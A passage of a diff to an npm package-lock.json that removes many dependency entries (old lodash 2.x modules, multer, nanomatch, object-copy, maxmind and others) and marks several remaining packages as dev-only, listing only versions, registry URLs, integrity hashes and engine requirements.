+@@ -19928,11 +16293,6 @@
+ "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=",
+ "dev": true
+ },
+- "node_modules/lodash.identity": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.identity/-/lodash.identity-2.4.1.tgz",
+- "integrity": "sha1-ZpTP+mX++TH3wxzobHRZfPVg9PE="
+- },
+ "node_modules/lodash.includes": {
+ "version": "4.3.0",
+ "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz",
+@@ -19943,14 +16303,6 @@
+ "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz",
+ "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo="
+ },
+- "node_modules/lodash.isarray": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-2.4.1.tgz",
+- "integrity": "sha1-tSoybB9i9tfac6MdVAHfbvRPD6E=",
+- "dependencies": {
+- "lodash._isnative": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.isboolean": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz",
+@@ -19959,12 +16311,8 @@
+ "node_modules/lodash.isequal": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz",
+- "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA="
+- },
+- "node_modules/lodash.isfunction": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-2.4.1.tgz",
+- "integrity": "sha1-LP1XXHPkmKtX4xm3f6Aq3vE6lNE="
++ "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=",
++ "dev": true
+ },
+ "node_modules/lodash.isinteger": {
+ "version": "4.0.4",
+@@ -19976,14 +16324,6 @@
+ "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz",
+ "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w="
+ },
+- "node_modules/lodash.isobject": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-2.4.1.tgz",
+- "integrity": "sha1-Wi5H/mmVPx7mMafrof5k0tBlWPU=",
+- "dependencies": {
+- "lodash._objecttypes": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.isplainobject": {
+ "version": "4.0.6",
+ "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz",
+@@ -19994,16 +16334,6 @@
+ "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz",
+ "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE="
+ },
+- "node_modules/lodash.keys": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-2.4.1.tgz",
+- "integrity": "sha1-SN6kbfj/djKxDXBrissmWR4rNyc=",
+- "dependencies": {
+- "lodash._isnative": "~2.4.1",
+- "lodash._shimkeys": "~2.4.1",
+- "lodash.isobject": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.memoize": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz",
+@@ -20016,11 +16346,6 @@
+ "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==",
+ "dev": true
+ },
+- "node_modules/lodash.noop": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.noop/-/lodash.noop-2.4.1.tgz",
+- "integrity": "sha1-T7VPgWZS5a4Q6PcvcXo4jHMmU4o="
+- },
+ "node_modules/lodash.omit": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz",
+@@ -20047,7 +16372,8 @@
+ "node_modules/lodash.set": {
+ "version": "4.3.2",
+ "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz",
+- "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM="
++ "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=",
++ "dev": true
+ },
+ "node_modules/lodash.sortby": {
+ "version": "4.7.0",
+@@ -20055,14 +16381,6 @@
+ "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=",
+ "dev": true
+ },
+- "node_modules/lodash.support": {
+- "version": "2.4.1",
+- "resolved": "https://registry.npmjs.org/lodash.support/-/lodash.support-2.4.1.tgz",
+- "integrity": "sha1-Mg4LZwMWc8KNeiu12eAzGkUkBRU=",
+- "dependencies": {
+- "lodash._isnative": "~2.4.1"
+- }
+- },
+ "node_modules/lodash.template": {
+ "version": "4.5.0",
+ "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz",
+@@ -20242,16 +16560,6 @@
+ "node": ">=8.0"
+ }
+ },
+- "node_modules/lolex": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/lolex/-/lolex-6.0.0.tgz",
+- "integrity": "sha512-ad9IBHbfVJ3bPAotDxnCgJgKcNK5/mrRAfbJzXhY5+PEmuBWP7wyHQlA6L8TfSfPlqlDjY4K7IG6mbzsrIBx1A==",
+- "deprecated": "lolex has been renamed to @sinonjs/fake-timers. No API changes made. Please use the new package instead",
+- "dev": true,
+- "dependencies": {
+- "@sinonjs/commons": "^1.7.0"
+- }
+- },
+ "node_modules/long": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz",
+@@ -20286,14 +16594,6 @@
+ "tslib": "^2.0.3"
+ }
+ },
+- "node_modules/lowercase-keys": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
+- "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/lru_map": {
+ "version": "0.3.3",
+ "resolved": "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz",
+@@ -20342,15 +16642,6 @@
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+ },
+- "node_modules/lru-queue": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz",
+- "integrity": "sha1-Jzi9nw089PhEkMVzbEhpmsYyzaM=",
+- "dev": true,
+- "dependencies": {
+- "es5-ext": "~0.10.2"
+- }
+- },
+ "node_modules/lz-string": {
+ "version": "1.4.4",
+ "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.4.4.tgz",
+@@ -20476,22 +16767,6 @@
+ "semver": "bin/semver"
+ }
+ },
+- "node_modules/make-error": {
+- "version": "1.3.6",
+- "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
+- "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw=="
+- },
+- "node_modules/make-iterator": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz",
+- "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==",
+- "dependencies": {
+- "kind-of": "^6.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/mandrill-api": {
+ "version": "1.0.45",
+ "resolved": "https://registry.npmjs.org/mandrill-api/-/mandrill-api-1.0.45.tgz",
+@@ -20501,33 +16776,6 @@
+ "node": "*"
+ }
+ },
+- "node_modules/map-cache": {
+- "version": "0.2.2",
+- "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz",
+- "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/map-obj": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-2.0.0.tgz",
+- "integrity": "sha1-plzSkIepJZi4eRJXpSPgISIqwfk=",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+- "node_modules/map-visit": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz",
+- "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=",
+- "dependencies": {
+- "object-visit": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/markdown-it": {
+ "version": "12.3.2",
+ "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz",
+@@ -20688,19 +16936,6 @@
+ "resolved": "https://registry.npmjs.org/mathjax/-/mathjax-2.7.9.tgz",
+ "integrity": "sha512-NOGEDTIM9+MrsqnjPEjVGNx4q0GQxqm61yQwSK+/5S59i26wId5IC5gNu9/bu8+CCVl5p9G2IHcAl/wJa+5+BQ=="
+ },
+- "node_modules/maxmind": {
+- "version": "4.3.6",
+- "resolved": "https://registry.npmjs.org/maxmind/-/maxmind-4.3.6.tgz",
+- "integrity": "sha512-CwnEZqJX0T6b2rWrc0/V3n9hL/hWAMEn7fY09077YJUHiHx7cn/esA2ZIz8BpYLSJUf7cGVel0oUJa9jMwyQpg==",
+- "dependencies": {
+- "mmdb-lib": "2.0.2",
+- "tiny-lru": "8.0.2"
+- },
+- "engines": {
+- "node": ">=10",
+- "npm": ">=6"
+- }
+- },
+ "node_modules/mdurl": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz",
+@@ -20732,28 +16967,6 @@
+ "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz",
+ "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q=="
+ },
+- "node_modules/memoizee": {
+- "version": "0.4.15",
+- "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz",
+- "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==",
+- "dev": true,
+- "dependencies": {
+- "d": "^1.0.1",
+- "es5-ext": "^0.10.53",
+- "es6-weak-map": "^2.0.3",
+- "event-emitter": "^0.3.5",
+- "is-promise": "^2.2.2",
+- "lru-queue": "^0.1.0",
+- "next-tick": "^1.1.0",
+- "timers-ext": "^0.1.7"
+- }
+- },
+- "node_modules/memoizee/node_modules/next-tick": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz",
+- "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==",
+- "dev": true
+- },
+ "node_modules/memory-pager": {
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz",
+@@ -20910,14 +17123,6 @@
+ "node": ">=6"
+ }
+ },
+- "node_modules/mimic-response": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz",
+- "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==",
+- "engines": {
+- "node": ">=4"
+- }
+- },
+ "node_modules/min-document": {
+ "version": "2.19.0",
+ "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz",
+@@ -20981,14 +17186,11 @@
+ "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+ "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
+ },
+- "node_modules/mirror_documentation": {
+- "resolved": "jobs/mirror-documentation",
+- "link": true
+- },
+ "node_modules/mixin-deep": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
+ "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
++ "dev": true,
+ "dependencies": {
+ "for-in": "^1.0.2",
+ "is-extendable": "^1.0.1"
+@@ -21001,6 +17203,7 @@
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
++ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+@@ -21008,25 +17211,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/mixme": {
+- "version": "0.5.4",
+- "resolved": "https://registry.npmjs.org/mixme/-/mixme-0.5.4.tgz",
+- "integrity": "sha512-3KYa4m4Vlqx98GPdOHghxSdNtTvcP8E0kkaJ5Dlh+h2DRzF7zpuVVcA8B0QpKd11YJeP9QQ7ASkKzOeu195Wzw==",
+- "engines": {
+- "node": ">= 8.0.0"
+- }
+- },
+- "node_modules/mixpanel": {
+- "version": "0.13.0",
+- "resolved": "https://registry.npmjs.org/mixpanel/-/mixpanel-0.13.0.tgz",
+- "integrity": "sha512-YOWmpr/o4+zJ8LPjuLUkWLc2ImFeIkX6hF1t62Wlvq6loC6e8EK8qieYO4gYPTPxxtjAryl7xmIvf/7qnPwjrQ==",
+- "dependencies": {
+- "https-proxy-agent": "5.0.0"
+- },
+- "engines": {
+- "node": ">=10.0"
+- }
+- },
+ "node_modules/mkdirp": {
+ "version": "0.5.1",
+ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz",
+@@ -21050,15 +17234,6 @@
+ "integrity": "sha512-xOE9xbICroUDmG1ye2h4bZ8WBie9EGmACaco8K8cx6RlkJJrxGIqjGqztAI+NMhexXBcdGbSEzI6N3EJPevxZw==",
+ "dev": true
+ },
+- "node_modules/mmdb-lib": {
+- "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/mmdb-lib/-/mmdb-lib-2.0.2.tgz",
+- "integrity": "sha512-shi1I+fCPQonhTi7qyb6hr7hi87R7YS69FlfJiMFuJ12+grx0JyL56gLNzGTYXPU7EhAPkMLliGeyHer0K+AVA==",
+- "engines": {
+- "node": ">=10",
+- "npm": ">=6"
+- }
+- },
+ "node_modules/mmmagic": {
+ "version": "0.5.3",
+ "resolved": "https://registry.npmjs.org/mmmagic/-/mmmagic-0.5.3.tgz",
+@@ -21541,81 +17716,6 @@
+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+ },
+- "node_modules/multer": {
+- "version": "1.4.4",
+- "resolved": "https://registry.npmjs.org/multer/-/multer-1.4.4.tgz",
+- "integrity": "sha512-2wY2+xD4udX612aMqMcB8Ws2Voq6NIUPEtD1be6m411T4uDH/VtL9i//xvcyFlTVfRdaBsk7hV5tgrGQqhuBiw==",
+- "dependencies": {
+- "append-field": "^1.0.0",
+- "busboy": "^0.2.11",
+- "concat-stream": "^1.5.2",
+- "mkdirp": "^0.5.4",
+- "object-assign": "^4.1.1",
+- "on-finished": "^2.3.0",
+- "type-is": "^1.6.4",
+- "xtend": "^4.0.0"
+- },
+- "engines": {
+- "node": ">= 0.10.0"
+- }
+- },
+- "node_modules/multer/node_modules/concat-stream": {
+- "version": "1.6.2",
+- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
+- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
+- "engines": [
+- "node >= 0.8"
+- ],
+- "dependencies": {
+- "buffer-from": "^1.0.0",
+- "inherits": "^2.0.3",
+- "readable-stream": "^2.2.2",
+- "typedarray": "^0.0.6"
+- }
+- },
+- "node_modules/multer/node_modules/isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- },
+- "node_modules/multer/node_modules/minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
+- },
+- "node_modules/multer/node_modules/mkdirp": {
+- "version": "0.5.5",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+- "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+- "dependencies": {
+- "minimist": "^1.2.5"
+- },
+- "bin": {
+- "mkdirp": "bin/cmd.js"
+- }
+- },
+- "node_modules/multer/node_modules/readable-stream": {
+- "version": "2.3.7",
+- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+- "dependencies": {
+- "core-util-is": "~1.0.0",
+- "inherits": "~2.0.3",
+- "isarray": "~1.0.0",
+- "process-nextick-args": "~2.0.0",
+- "safe-buffer": "~5.1.1",
+- "string_decoder": "~1.1.1",
+- "util-deprecate": "~1.0.1"
+- }
+- },
+- "node_modules/multer/node_modules/string_decoder": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+- "dependencies": {
+- "safe-buffer": "~5.1.0"
+- }
+- },
+ "node_modules/multicast-dns": {
+ "version": "6.2.3",
+ "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz",
+@@ -21635,11 +17735,6 @@
+ "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=",
+ "devOptional": true
+ },
+- "node_modules/mute-stream": {
+- "version": "0.0.8",
+- "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
+- "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA=="
+- },
+ "node_modules/mv": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz",
+@@ -21709,55 +17804,6 @@
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+- "node_modules/nanomatch": {
+- "version": "1.2.13",
+- "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
+- "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
+- "dependencies": {
+- "arr-diff": "^4.0.0",
+- "array-unique": "^0.3.2",
+- "define-property": "^2.0.2",
+- "extend-shallow": "^3.0.2",
+- "fragment-cache": "^0.2.1",
+- "is-windows": "^1.0.2",
+- "kind-of": "^6.0.2",
+- "object.pick": "^1.3.0",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/nanomatch/node_modules/extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "dependencies": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/nanomatch/node_modules/is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "dependencies": {
+- "is-plain-object": "^2.0.4"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/native-promise-only": {
+- "version": "0.8.1",
+- "resolved": "https://registry.npmjs.org/native-promise-only/-/native-promise-only-0.8.1.tgz",
+- "integrity": "sha1-IKMYwwy0X3H+et+/eyHJnBRy7xE="
+- },
+ "node_modules/native-request": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/native-request/-/native-request-1.1.0.tgz",
+@@ -21877,43 +17923,6 @@
+ "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz",
+ "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A=="
+ },
+- "node_modules/node-domexception": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz",
+- "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==",
+- "funding": [
+- {
+- "type": "github",
+- "url": "https://github.com/sponsors/jimmywarting"
+- },
+- {
+- "type": "github",
+- "url": "https://paypal.me/jimmywarting"
+- }
+- ],
+- "engines": {
+- "node": ">=10.5.0"
+- }
+- },
+- "node_modules/node-environment-flags": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz",
+- "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==",
+- "dev": true,
+- "dependencies": {
+- "object.getownpropertydescriptors": "^2.0.3",
+- "semver": "^5.7.0"
+- }
+- },
+- "node_modules/node-environment-flags/node_modules/semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "dev": true,
+- "bin": {
+- "semver": "bin/semver"
+- }
+- },
+ "node_modules/node-fetch": {
+ "version": "2.6.7",
+ "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.7.tgz",
+@@ -22472,84 +18481,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/object-copy": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
+- "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=",
+- "dependencies": {
+- "copy-descriptor": "^0.1.0",
+- "define-property": "^0.2.5",
+- "kind-of": "^3.0.3"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/object-copy/node_modules/define-property": {
+- "version": "0.2.5",
+- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
+- "dependencies": {
+- "is-descriptor": "^0.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/object-copy/node_modules/is-accessor-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz",
+- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/object-copy/node_modules/is-data-descriptor": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz",
+- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/object-copy/node_modules/is-descriptor": {
+- "version": "0.1.6",
+- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz",
+- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==",
+- "dependencies": {
+- "is-accessor-descriptor": "^0.1.6",
+- "is-data-descriptor": "^0.1.4",
+- "kind-of": "^5.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/object-copy/node_modules/is-descriptor/node_modules/kind-of": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/object-copy/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/object-get": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/object-get/-/object-get-2.1.1.tgz",
+@@ -22605,17 +18536,6 @@
+ "node": ">=8.0.0"
+ }
+ },
+- "node_modules/object-visit": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
+- "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=",
+- "dependencies": {
+- "isobject": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/object.assign": {
+ "version": "4.1.2",
+ "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.2.tgz",
+@@ -22633,20 +18553,6 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/object.defaults": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz",
+- "integrity": "sha1-On+GgzS0B96gbaFtiNXNKeQ1/s8=",
+- "dependencies": {
+- "array-each": "^1.0.1",
+- "array-slice": "^1.0.0",
+- "for-own": "^1.0.0",
+- "isobject": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/object.entries": {
+ "version": "1.1.5",
+ "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.5.tgz",
+@@ -22707,22 +18613,11 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/object.map": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz",
+- "integrity": "sha1-z4Plncj8wK1fQlDh94s7gb2AHTc=",
+- "dependencies": {
+- "for-own": "^1.0.0",
+- "make-iterator": "^1.0.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+ "node_modules/object.pick": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
+ "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=",
++ "dev": true,
+ "dependencies": {
+ "isobject": "^3.0.1"
+ },
+@@ -22753,28 +18648,6 @@
+ "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==",
